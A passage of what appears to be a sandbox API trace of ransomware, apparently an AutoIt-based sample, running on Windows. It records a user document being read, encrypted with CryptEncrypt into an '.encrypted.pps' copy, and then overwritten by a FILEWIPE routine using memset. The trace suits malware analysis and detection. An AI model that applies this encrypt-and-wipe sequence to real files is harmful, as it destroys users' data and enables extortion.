lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.317] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu")) returned 0x10 [0024.318] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\wkbfm0bgic5.encrypted.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.320] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb723, lpOverlapped=0x0) returned 1 [0024.321] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.323] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.323] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.323] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.324] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.324] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.324] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.324] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.324] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.324] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.325] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.325] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.326] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.326] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.327] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb723, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb730) returned 1 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] CharLowerBuffW (in: lpsz="byte[46897]", cchLength=0xb | out: lpsz="byte[46897]") returned 0xb [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.328] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.328] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e2f60*, pdwDataLen=0xe8f3dfdf68*=0xb723, dwBufLen=0xb730 | out: pbData=0xe8f41e2f60*, pdwDataLen=0xe8f3dfdf68*=0xb730) returned 1 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.328] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.332] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.332] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.332] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.332] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.332] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.332] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.333] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.333] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.333] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.333] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.333] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.333] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.333] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.333] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.333] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.334] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.334] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.334] CloseHandle (hObject=0x1fc) returned 1 [0024.334] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.335] CloseHandle (hObject=0x188) returned 1 [0024.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.339] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.339] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\wkbfm0bgic5.pps")) returned 0x20 [0024.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.339] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f40698f0 [0024.339] FindClose (in: hFindFile=0xe8f40698f0 | out: hFindFile=0xe8f40698f0) returned 1 [0024.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.339] CharLowerBuffW (in: lpsz="byte[46883]", cchLength=0xb | out: lpsz="byte[46883]") returned 0xb [0024.340] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.340] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.340] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.341] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0024.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 